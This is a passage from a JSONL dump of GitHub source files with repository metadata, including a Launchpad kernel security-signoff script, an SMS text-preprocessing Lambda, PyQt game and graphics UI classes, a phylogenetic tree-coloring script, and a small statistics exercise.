"pandas.read_csv", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 63, "usage_type": "attribute"}, {"api_name": "texthero.do_pca", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 66, "usage_type": "attribute"}, {"api_name": "texthero.scatterplot", "line_number": 97, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 116, "usage_type": "attribute"}, {"api_name": "texthero.do_dbscan", "line_number": 134, "usage_type": "call"}, {"api_name": "pandas.Categorical", "line_number": 135, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 119, "usage_type": "attribute"}]} {"seq_id": "7857058955", "text": "from __future__ import print_function\n\nimport argparse\nimport sys\n\nimport lpl_common\n\nrc = 0\nlp = lpl_common.connect()\n\nstatus_signed_off = \"Fix Released\"\nstatus_no_security = \"Invalid\"\nstatus_unsigned = \"In Progress\"\n\n\ndef debug(msg):\n global args\n if args.debug:\n print(msg, file=sys.stderr)\n\n\nparser = argparse.ArgumentParser(description=\"kernel security signoff tool\")\nparser.add_argument(\"-d\", \"--debug\", help=\"Report debug information\", action=\"store_true\")\nparser.add_argument(\"-f\", \"--force\", help=\"Force changing state even if task state is not correct\", action=\"store_true\")\nparser.add_argument(\"-n\", \"--no-change\", help=\"Don't actually adjust bug state\", action=\"store_true\")\nparser.add_argument(\n \"-i\", \"--no-security\", help=\"Kernel does not contain security fixes, signoff to updates only\", action=\"store_true\"\n)\nparser.add_argument(\"bugs\", help=\"launchpad bugs to signoff on\", nargs=\"+\")\nargs = parser.parse_args()\n\nfor bugno in args.bugs:\n if bugno.startswith(\"#\"):\n bugno = bugno[1:]\n debug(\"Looking up bug: %s\" % bugno)\n bug = lp.bugs[bugno]\n\n task = None\n for t in bug.bug_tasks:\n if t.bug_target_name == \"kernel-sru-workflow/security-signoff\":\n task = t\n break\n\n if not task:\n print(\"[%s] Unable to find signoff task, skipping!\" % bugno)\n rc = 1\n continue\n\n debug(\"Signoff task for bug %s found, status is %s.\" % (bugno, task.status))\n\n if not task.status == status_unsigned:\n if not args.force:\n print(\"[%s] %s has status %s, skipping.\" % (bugno, t.bug_target_display_name, task.status))\n print(\"(Use --force to override)\")\n continue\n else:\n print(\"[%s] (Warning) %s has status %s\" % (bugno, t.bug_target_display_name, task.status))\n\n if not args.no_change:\n if args.no_security:\n update_status = status_no_security\n else:\n update_status = status_signed_off\n debug(\"[%s] attempting to sign off on task with %s\" % (bugno, update_status))\n task.status = update_status\n lpl_common.save(task)\n print('[%s] \"%s\" signed off: %s' % (bugno, task.bug.title, update_status))\n\nsys.exit(rc)\n", "repo_name": "neuvector/vul-source", "sub_path": "ubuntu-cve-tracker/scripts/kernel-security-signoff.py", "file_name": "kernel-security-signoff.py", "file_ext": "py", "file_size_in_byte": 2221, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "lpl_common.connect", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 19, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "lpl_common.save", "line_number": 66, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 69, "usage_type": "call"}]} {"seq_id": "38156715994", "text": "import datetime\nimport pytz\n\ndate = datetime.datetime.now()\nprint(f\"Local Timezone - \", date.strftime(\"%d/%m/%Y, %H:%M:%S\"))\n\n# Timezone of Newyork\n#print(pytz.all_timezones)\ntz_NY = pytz.timezone(\"America/New_York\")\ndate_NY = datetime.datetime.now(tz_NY)\nprint(f\"NewYork Timezone - \", date_NY.strftime(\"%d/%m/%Y, %H:%M:%S\"))\n\n\ntz_JA = pytz.timezone(\"Japan\")\ndate_JA = datetime.datetime.now(tz_JA)\nprint(f\"Japan Timezone - \", date_JA.strftime(\"%d/%m/%Y, %H:%M:%S\"))\n\n\n# date = datetime.datetime.now()\n# print(date)\n#\n# time = date.strftime(\"%H-%M-%S\")\n# print(time)\n# print(date.strftime(\"%m/%d/%Y, %H:%M:%S\"))\n# print(date.strftime(\"%d/%m/%Y, %H:%M:%S\"))\n\n# get the current date and time\n# date = datetime.datetime.now()\n#date = datetime.date.today()\n# print(date)\n#\n# print(f\"Current Year, \", date.year)\n# print(f\"Current Month, \", date.month)\n# print(f\"Current Day, \", date.day)\n\n# print(dir(datetime))", "repo_name": "anshulc55/selenium-python", "sub_path": "PythonBasics/Conditional_and_funcational/DateAndTime.py", "file_name": "DateAndTime.py", "file_ext": "py", "file_size_in_byte": 905, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.now", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 4, "usage_type": "attribute"}, {"api_name": "pytz.timezone", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pytz.timezone", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "attribute"}]} {"seq_id": "29507970369", "text": "import re\nimport contractions\nimport jieba\nimport pandas as pd\nimport nltk\nimport json\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\nfrom nltk.stem import WordNetLemmatizer\nfrom zhconv import convert\n\nnltk.data.path.append('./nltk_data')\njieba.load_userdict('./jieba/dict_big.txt')\n\n#Simplified Chinese to Traditional Chinese\ndef scToTc(text):\n text = convert(text, 'zh-tw')\n\n return text\n\n#Expand English sentence to complete sentence\ndef expandContraction(text):\n # specific\n text = re.sub(r'i[\\'?]m', 'i am', text)\n text = re.sub(r'let[\\'?]s', 'let us', text)\n text = re.sub(r'don[\\'?]t', 'do not', text)\n text = re.sub(r'can[\\'?]t', 'can not', text)\n text = re.sub(r'won[\\'?]t', 'will not', text)\n\n # general\n text = re.sub(r'[\\'?]s', ' is', text)\n text = re.sub(r'[\\'?]re', ' are', text)\n text = re.sub(r'[\\'?]ll', ' will', text)\n text = re.sub(r'[\\'?]d', ' would', text)\n text = re.sub(r'[\\'?]ve', ' have', text)\n text = re.sub(r'n[\\'?]t', ' not', text)\n\n # library\n text = contractions.fix(text)\n\n return text\n\n#Clean data to specific form\ndef cleanData(text):\n # expand contraction\n text = expandContraction(text)\n\n # replace hyperlink\n text = re.sub(r'http[s]?:\\/\\/[\\w\\/.?=-]+', ' link ', text)\n\n # replace email address\n text = re.sub(r'[\\w\\.+]+@[\\w\\.]+\\.[a-z]{2,}', ' email ', text)\n\n # replace currency sign\n text = re.sub(r'[\\$€£¥]', ' money ', text)\n\n # replace number\n text = re.sub(r'[\\d]+', ' number ', text)\n\n # replace special char, other than a-z, A-Z, 0-9 and chinese\n text = re.sub(r'[^a-zA-Z0-9\\u4E00-\\u9FFF]+', ' ', text)\n\n # replace new line (carriage return and line feed)\n text = re.sub(r'[\\r\\n]', ' ', text)\n\n # replace white space\n text = re.sub(r'[\\s]{2,}', ' ', text)\n text = re.sub(r'^[\\s]+|[\\s]+$', '', text)\n\n return text\n\ndef stopWords(text, words):\n text = ' '.join([word for word in text.split() if word not in (words)])\n\n return text\n\ndef stemming(text, stemmer):\n text = ' '.join([stemmer.stem(word) for word in text.split()])\n\n return text\n\ndef lemmatization(text, lemmatizer):\n text = ' '.join([lemmatizer.lemmatize(word) for word in text.split()])\n\n return text\n\n#Segmentize Chinese sentence\ndef segmentation(text):\n text = ' '.join(jieba.cut(text))\n\n return text\n\n#Start the whole preprocessing\ndef preprocess(input, remove_stop, stem, lemmatize):\n words = stopwords.words('english')\n stemmer = PorterStemmer()\n lemmatizer = WordNetLemmatizer()\n\n output = []\n\n for text in input:\n text = text.lower()\n text = scToTc(text)\n text = cleanData(text)\n\n if remove_stop:\n text = stopWords(text, words)\n\n if stem:\n text = stemming(text, stemmer)\n\n if lemmatize:\n text = lemmatization(text, lemmatizer)\n\n text = segmentation(text)\n text = re.sub(r'[\\s]{2,}', ' ', text)\n\n output.append(text)\n return output\n\ndef lambda_handler(event, context):\n sms = event['sms']\n result = preprocess(sms, True, True, False)\n result = str(result).lstrip('[').rstrip(']')\n result = str(result).lstrip('\\'').rstrip('\\'')\n json_string = '{\"preprocessed_sms\": [\"'+result+'\"]}'\n result = json.loads(json_string)\n return result\n", "repo_name": "josephwong13/comp7705", "sub_path": "deployment/preprocess/lambda_function.py", "file_name": "lambda_function.py", "file_ext": "py", "file_size_in_byte": 3335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "nltk.data.path.append", "line_number": 12, "usage_type": "call"}, {"api_name": "nltk.data", "line_number": 12, "usage_type": "attribute"}, {"api_name": "jieba.load_userdict", "line_number": 13, "usage_type": "call"}, {"api_name": "zhconv.convert", "line_number": 17, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 24, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 25, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 26, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 27, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 28, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 31, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 32, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 33, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 34, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 35, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 36, "usage_type": "call"}, {"api_name": "contractions.fix", "line_number": 39, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 49, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 52, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 55, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 58, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 61, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 64, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 67, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 68, "usage_type": "call"}, {"api_name": "jieba.cut", "line_number": 89, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 95, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 95, "usage_type": "name"}, {"api_name": "nltk.stem.PorterStemmer", "line_number": 96, "usage_type": "call"}, {"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 97, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 116, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 127, "usage_type": "call"}]} {"seq_id": "74139557664", "text": "'''\nCreated on 9.4.2016\n\n@author: Rohmu\n'''\n\nimport os.path\nfrom PyQt5.QtWidgets import QGridLayout, QFrame, QPushButton, QLabel, QLCDNumber, QSlider\nfrom globals import *\nfrom tower import *\nfrom PyQt5.QtGui import QIcon, QFont\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.Qt import QHBoxLayout, QVBoxLayout, QBasicTimer\nfrom buy_button import BuyButton\n\n\nclass BottomButtons(QFrame):\n \n def __init__(self, parent):\n super(BottomButtons, self).__init__(parent)\n self.parent = parent\n self.isPaused = False\n self.seconds = 0\n self.clockTimer = QBasicTimer()\n self.clockTimer.start(1000, self)\n self.initUI(self.parent.gameboard)\n \n \n def initUI(self, gameboard): \n \n self.setStyleSheet(\"QWidget { background: #BCBCBC}\")\n self.setFrameStyle(QFrame.Sunken | QFrame.StyledPanel)\n self.setFixedSize((gameboard.width - 1)*blockSize, 120)\n self.grid = QGridLayout()\n self.setLayout(self.grid)\n \n hbox = QHBoxLayout()\n vbox = QVBoxLayout()\n \n towerLabel = QLabel()\n towerLabel.setPixmap(QPixmap(os.path.join('./Pictures/', \"tower.png\")))\n \n vbox.addWidget(towerLabel)\n \n vbox.addLayout(hbox)\n self.grid.addLayout(vbox, 0, 0)\n \n towers = gameboard.getTowers()\n i = 0\n buttons = 0\n \n # We go through the list of different towers in the map and add buttons for them to the bottom left corner of the screen.\n while i < len(towers):\n if towers[i] == \"t1\":\n self.musketeerButton = BuyButton(QPixmap(os.path.join('./Pictures/', \"musketeer_buybutton.png\")), QPixmap(os.path.join('./Pictures/', \"musketeer_buybutton_hover.png\")), QPixmap(os.path.join('./Pictures/', \"musketeer_buybutton_pressed.png\")), self)\n self.musketeerButton.move(buttons*towerButtonSize + 10, 50)\n self.musketeerButton.clicked.connect(self.musketeerButtonClick)\n hbox.addWidget(self.musketeerButton)\n buttons += 1\n elif towers[i] == \"t2\":\n self.cannonButton = BuyButton(QPixmap(os.path.join('./Pictures/', \"cannon_buybutton.png\")), QPixmap(os.path.join('./Pictures/', \"cannon_buybutton_hovered.png\")), QPixmap(os.path.join('./Pictures/', \"cannon_buybutton_pressed.png\")), self)\n self.cannonButton.move(buttons*towerButtonSize + 10, 50)\n self.cannonButton.clicked.connect(self.cannonButtonClick)\n hbox.addWidget(self.cannonButton)\n buttons += 1\n i += 1\n \n hbox.addStretch()\n \n '''\n slider2 = QSlider(Qt.Horizontal, self)\n slider2.setFocusPolicy(Qt.NoFocus)\n slider2.setSliderPosition(100 - self.parent.gameSpeed)\n #slider2.setGeometry(210, 140, 100, 20)\n slider2.valueChanged[int].connect(self.changeGameSpeed)\n \n hbox2 = QHBoxLayout()\n hbox2.addWidget(slider2)\n hbox2.addStretch()\n \n self.grid.addLayout(hbox2, 0, 1)\n '''\n \n hbox3 = QHBoxLayout()\n vbox3 = QVBoxLayout()\n hbox3.addStretch()\n \n self.lcd = QLCDNumber(self)\n \n vbox3.addStretch()\n vbox3.addWidget(self.lcd)\n vbox3.addStretch()\n \n self.pauseButton = QPushButton('Pause')\n self.pauseButton.clicked.connect(self.pauseGame)\n \n # I could add a restart button\n \n vbox3.addWidget(self.pauseButton) \n self.grid.addLayout(vbox3, 0,2)\n \n self.show()\n \n \n def changeGameSpeed(self, value):\n self.parent.gameSpeed = 100 - value\n if not self.isPaused:\n self.parent.timer.stop()\n self.parent.timer.start(self.parent._gameSpeed, self.parent)\n \n \n def musketeerButtonClick(self):\n \n if self.isPaused == False:\n if self.parent.gameboard.money > Musketeer().price:\n self.parent.isTowerSelected = True\n self.parent.selectedTower = Musketeer()\n self.statusBarMessage('Musketeer tower selected')\n else:\n self.statusBarMessage(\"You don't have enough money.\")\n else:\n self.statusBarMessage(\"The game is paused. You can't build towers.\")\n \n \n def cannonButtonClick(self):\n \n if self.parent.gameover == False:\n if self.isPaused == False:\n if self.parent.gameboard.money > Cannon().price:\n self.parent.isTowerSelected = True\n self.parent.selectedTower = Cannon()\n self.statusBarMessage('Cannon tower selected')\n else: \n self.statusBarMessage(\"You don't have enough money.\")\n else:\n self.statusBarMessage(\"The game is paused. You can't build towers.\")\n else: self.statusBarMessage(\"The game has ended can't build towers.\")\n \n\n def pauseGame(self, pressed):\n \n if self.parent.gameover == False:\n \n if self.isPaused == False:\n self.statusBarMessage('Game paused')\n self.pauseButton.setText('Play')\n self.isPaused = True \n self.parent.timer.stop() \n self.clockTimer.stop()\n \n else:\n self.statusBarMessage('')\n self.pauseButton.setText('Pause')\n self.isPaused = False \n self.parent.timer.start(self.parent._gameSpeed, self.parent)\n self.clockTimer.start(1000, self)\n \n else:\n self.statusBarMessage('The game has ended.')\n \n \n def timerEvent(self, event):\n self.seconds += 1\n self.lcd.display(\"%.2d:%.2d\" % (self.seconds // 60, self.seconds % 60))\n \n \n def statusBarMessage(self, message):\n self.parent.statusBar().showMessage(message)\n \n \n", "repo_name": "Ohmur/Fomoire-Tower-Defence", "sub_path": "bottombuttons.py", "file_name": "bottombuttons.py", "file_ext": "py", "file_size_in_byte": 6055, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 17, "usage_type": "name"}, {"api_name": "PyQt5.Qt.QBasicTimer", "line_number": 24, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame.Sunken", "line_number": 32, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 32, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame.StyledPanel", "line_number": 32, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 34, "usage_type": "call"}, {"api_name": "PyQt5.Qt.QHBoxLayout", "line_number": 37, "usage_type": "call"}, {"api_name": "PyQt5.Qt.QVBoxLayout", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 41, "usage_type": "name"}, {"api_name": "buy_button.BuyButton", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 55, "usage_type": "name"}, {"api_name": "buy_button.BuyButton", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 61, "usage_type": "name"}, {"api_name": "PyQt5.Qt.QHBoxLayout", "line_number": 84, "usage_type": "call"}, {"api_name": "PyQt5.Qt.QVBoxLayout", "line_number": 85, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLCDNumber", "line_number": 88, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 94, "usage_type": "call"}]} {"seq_id": "73714513852", "text": "import os, sys\nimport ete3\n\n\t\ndef get_newick(fname):\n\t\n\tnewick = ''\n\tfor line in open(fname):\n\t\tline = line.split(' ')[-1]\n\t\tif(line.startswith('(') or line.startswith('tree1=')):\n\t\t\tnewick = line.split('tree1=')[-1].replace(\"'\", '').replace('\\\\', '')\n\n\treturn newick\n\n\ndef reroot(tree):\n\n\t#This nested function returns the largest clade of a given taxonomic group\n\tdef get_best_clade(taxon):\n\n\t\tbest_size = 0; best_clade = []; seen_leaves = []\n\t\t#Traverse all nodes\n\t\tfor node in tree.traverse('levelorder'):\n\t\t\t#If the node is big enough and not subsumed by a node we've already accepted\n\t\t\tif len(node) >= 3 and len(list(set(seen_leaves) & set([leaf.name for leaf in node]))) == 0:\n\t\t\t\tleaves = [leaf.name for leaf in node]\n\t\t\t\t\n\t\t\t\t#Create a record of leaves that belong to the taxonomic group\n\t\t\t\ttarget_leaves = set()\n\t\t\t\tfor leaf in leaves[::-1]:\n\t\t\t\t\tif leaf[:2] in taxon:\n\t\t\t\t\t\ttarget_leaves.add(leaf[:10])\n\t\t\t\t\t\tleaves.remove(leaf)\n\n\t\t\t\t#If this clade is better than any clade we've seen before, grab it\n\t\t\t\tif len(target_leaves) > best_size and len(leaves) <= 2:\n\t\t\t\t\tbest_clade = node\n\t\t\t\t\tbest_size = len(target_leaves)\n\t\t\t\t\tseen_leaves.extend([leaf.name for leaf in node])\n\n\t\treturn best_clade\n\n\t#Get the biggest clade for each taxonomic group (stops once it finds one)\n\tfor taxon in [('Ba', 'Za'), ('Op'), ('Pl'), ('Am'), ('Ex'), ('Sr')]:\n\t\tclade = get_best_clade(taxon)\n\t\tif len([leaf for leaf in clade if leaf.name[:2] in taxon]) > 3:\n\t\t\ttree.set_outgroup( clade)\n\n\t\t\tbreak\n\n\treturn tree\n\n\ndef write_lines(o, newick, taxa_and_colors, tree_font_size):\n\tntax = str(len(taxa_and_colors))\n\t\t\t\n\to.write('#NEXUS\\n')\t\n\to.write('begin taxa;\\n')\n\to.write('\\tdimensions ntax=' + ntax + ';\\n')\n\to.write('\\ttaxlabels\\n')\n\t\t\t\n\tfor taxon in taxa_and_colors:\n\t\to.write('\\t' + taxon + '\\n')\n\t\t\t\n\to.write(';\\nend;\\n\\n')\n\t\t\t\n\to.write('begin trees;\\n')\n\to.write('\\ttree tree_1 = [&R]\\n')\n\to.write(newick)\n\to.write('end;\\n\\n')\n\t\t\t\n\twith open('figtree_format.txt', 'r') as ff:\n\t\tfor line in ff:\n\t\t\tif('.fontSize' in line):\n\t\t\t\to.write(line.replace('8', tree_font_size))\n\t\t\telse:\n\t\t\t\to.write(line)\n\n\ndef write_nexus(newick, leaf_colors, params):\n\t\t\n\twith open(out_path, 'w') as o:\n\t\twrite_lines(o, newick, taxa_and_colors, tree_font_size)\n\t\n\ndef color(file, params):\n\n\tcolors = { 'Ba' : '[&!color=#000000]', 'Za' : '[&!color=#808080]', 'Sr' : '[&!color=#7b2516]', 'Op' : '[&!color=#12aaff]', 'Pl' : '[&!color=#006300]', 'Ex' : '[&!color=#ffa100]', 'EE' : '[&!color=#ff6288]', 'Am' : '[&!color=#aa00ff]' }\n\n\tnewick = get_newick(file)\t\n\ttree = ete3.Tree(newick)\n\ttree = reroot(tree)\n\ttree.ladderize()\n\n\tleaf_colors = [leaf + colors[leaf[:2]] for leaf in tree]\n\n\twith open(params.output + '/ColoredTrees/' + file.split('.tree')[0] + '_Colored.tree', 'w') as o:\n\t\twrite_lines(o, newick, leaf_colors, params.tree_font_size)\n\t\t\t\t\n", "repo_name": "Katzlab/PhyloToL-6", "sub_path": "PTL2/Scripts/color.py", "file_name": "color.py", "file_ext": "py", "file_size_in_byte": 2819, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ete3.Tree", "line_number": 91, "usage_type": "call"}]} {"seq_id": "71447425503", "text": "#!@PYTHON@\n\"\"\"\nClass :py:class:`GUDragBase` is a base class for draggable objects\n==================================================================\n\nCreated on 2016-09-14 by Mikhail Dubrovin\n\"\"\"\nfrom __future__ import print_function\n#-----------------------------\n\n#import os\n#import math\n#from graphqt.GUView import *\nfrom PyQt5.QtCore import Qt\nfrom PyQt5 import QtGui\n\nfrom graphqt.GUUtils import select_item_from_popup_menu, select_color\n\n#-----------------------------\n\nFROZEN = 0\nADD = 1\nMOVE = 2\nEDIT = 3\nDELETE = 4\n\nmode_types = ( FROZEN, ADD, MOVE, EDIT, DELETE)\nmode_names = ('FROZEN', 'ADD', 'MOVE', 'EDIT', 'DELETE')\n\ndic_mode_type_to_name = dict(zip(mode_types, mode_names))\ndic_mode_name_to_type = dict(zip(mode_names, mode_types))\n\n#-----------------------------\n\ndef print_warning(o, metframe) :\n wng = 'WARNING: %s.%16s - abstract interface method needs to be re-implemented in derived class.' \\\n % (o.__class__.__name__, metframe.f_code.co_name)\n print(wng)\n #raise NotImplementedError(wng)\n\n#-----------------------------\n\nclass GUDragBase(object) :\n \n def __init__(self, parent=None,\\\n brush=QtGui.QBrush(), pen=QtGui.QPen(Qt.blue, 0, Qt.SolidLine)) :\n self.set_mode()\n self.set_child_item_sel()\n self.set_cursor_hover()\n self.set_cursor_grab()\n self.lst_ctl_points = None\n self._parent = parent\n self._brush = brush\n self._pen_pos = pen\n self._pen_inv = QtGui.QPen(Qt.white, 3, Qt.SolidLine)\n self._pen_pos.setCosmetic(True)\n self._pen_inv.setCosmetic(True)\n\n #self.style_reddish = \"background-color: rgb(220, 0, 0); color: rgb(0, 0, 0);\" # Reddish background\n #self.style_transp = \"background-color: rgb(255, 0, 0, 100);\"\n\n \n def set_mode(self, mode=MOVE) :\n self._mode = mode\n\n\n def mode(self) :\n return self._mode\n\n\n def set_child_item_sel(self, item=None) :\n self._child_item_sel = item\n\n\n def child_item_sel(self) :\n return self._child_item_sel\n\n\n def set_control_points_visible(self, visible=True) :\n if self.lst_ctl_points is None : return\n for cpt in self.lst_ctl_points :\n cpt.setVisible(visible)\n #cpt.setZValue(100 if visible else 30)\n #cpt.setEnabled(True)\n\n #self.ped.setVisible(True)\n #self.ped.setZValue(200)\n\n self.setZValue(40 if visible else 20)\n\n\n def set_cursor_hover(self, cursor=Qt.CrossCursor) :\n self.hover_cursor = cursor\n\n\n def set_cursor_grab(self, cursor=Qt.SizeAllCursor) : # Qt.ClosedHandCursor) :\n self.grub_cursor = cursor\n\n\n def control_point_menu(self) :\n lst = ('Invert', 'Delete', 'Color', 'Cancel')\n txt = select_item_from_popup_menu(lst)\n\n if txt == 'Invert' :\n self.setPen(self._pen_inv if self.pen()==self._pen_pos else self._pen_pos)\n\n elif txt == 'Delete' :\n #print 'ask parent class:', self._parent, ' to kill self:', self\n self.set_mode(DELETE)\n self.setVisible(False)\n #self._parent.delete_item(self)\n\n elif txt == 'Cancel' :\n return\n\n elif txt == 'Color' :\n color = select_color(self._pen_pos.color())\n self._pen_pos = QtGui.QPen(color, 2, Qt.SolidLine)\n self._pen_pos.setCosmetic(True)\n self.setPen(self._pen_pos)\n\n else :\n print('GUDragBase: this point features are not implemented for item \"%s\"' % txt)\n\n#-----------------------------\n# Abstract interface methods\n#-----------------------------\n\n# def create(self) : print_warning(self, sys._getframe()) # ; return None\n# def move(self) : print_warning(self, sys._getframe())\n# def move_is_completed(self) : print_warning(self, sys._getframe())\n# def contains(self) : print_warning(self, sys._getframe())\n# def draw(self) : print_warning(self, sys._getframe())\n# def print_attrs(self) : print_warning(self, sys._getframe())\n\n#-----------------------------\nif __name__ == \"__main__\" :\n print('Self test is not implemented...')\n print('use > python GUViewImageWithShapes.py')\n#-----------------------------\n", "repo_name": "lcls-psana/graphqt", "sub_path": "src/GUDragBase.py", "file_name": "GUDragBase.py", "file_ext": "py", "file_size_in_byte": 4264, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtGui.QBrush", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 46, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPen", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.blue", "line_number": 46, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 46, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.SolidLine", "line_number": 46, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPen", "line_number": 55, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 55, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.white", "line_number": 55, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 55, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.SolidLine", "line_number": 55, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.CrossCursor", "line_number": 92, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 92, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.SizeAllCursor", "line_number": 96, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 96, "usage_type": "name"}, {"api_name": "graphqt.GUUtils.select_item_from_popup_menu", "line_number": 102, "usage_type": "call"}, {"api_name": "graphqt.GUUtils.select_color", "line_number": 117, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPen", "line_number": 118, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 118, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.SolidLine", "line_number": 118, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 118, "usage_type": "name"}]} {"seq_id": "17179420668", "text": "from collections import Counter\n\nn = int(input())\nmylist = [int(input()) for _ in range(n)]\n\n#중앙값\nmylist.sort()\n\n#최빈값\n\n\n\n#산술평균출력\nprint(sum(mylist)//n)\n\n#중앙값 출력\nprint(mylist[n//2])\n\n#최빈값 출력\n\n\n#범위 출력\nprint(mylist[-1]-mylist[0])\n\n\n\n#내풀이\n\nfrom collections import Counter\nimport sys\n\ntestCase = int(sys.stdin.readline())\nmylist = []\nfor _ in range(testCase):\n mylist.append(int(sys.stdin.readline()))\n\nmylist.sort()\nprint(round(sum(mylist)/testCase)) #산술평균\nprint(mylist[testCase//2]) #중앙값\n\n#최빈값\nmycount = Counter(mylist).most_common(2)\nif len(mycount)==1:\n print(mycount[0][0])\nelse:\n if mycount[0][1]==mycount[1][1]:\n print(mycount[1][0])\n else:\n print(mycount[0][0])\n\nprint(mylist[-1]-mylist[0]) #범위\n\n", "repo_name": "parkbyungnam/Algorithm_study", "sub_path": "baejoon/수학3/2108.py", "file_name": "2108.py", "file_ext": "py", "file_size_in_byte": 806, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.stdin.readline", "line_number": 32, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 32, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 35, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 35, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 42, "usage_type": "call"}]} {"seq_id": "38982209456", "text": "\"\"\"\nAll Rules that are related to logic and composition.\n\"\"\"\n\nfrom abc import ABC, abstractmethod\nfrom typing import Callable, Any, Literal, TYPE_CHECKING\n\nif TYPE_CHECKING:\n from . import RuleType\n\nfrom ..guard import Inquiry\nfrom ..rules.base import Rule\n\n\nclass BooleanRule(Rule, ABC):\n \"\"\"\n 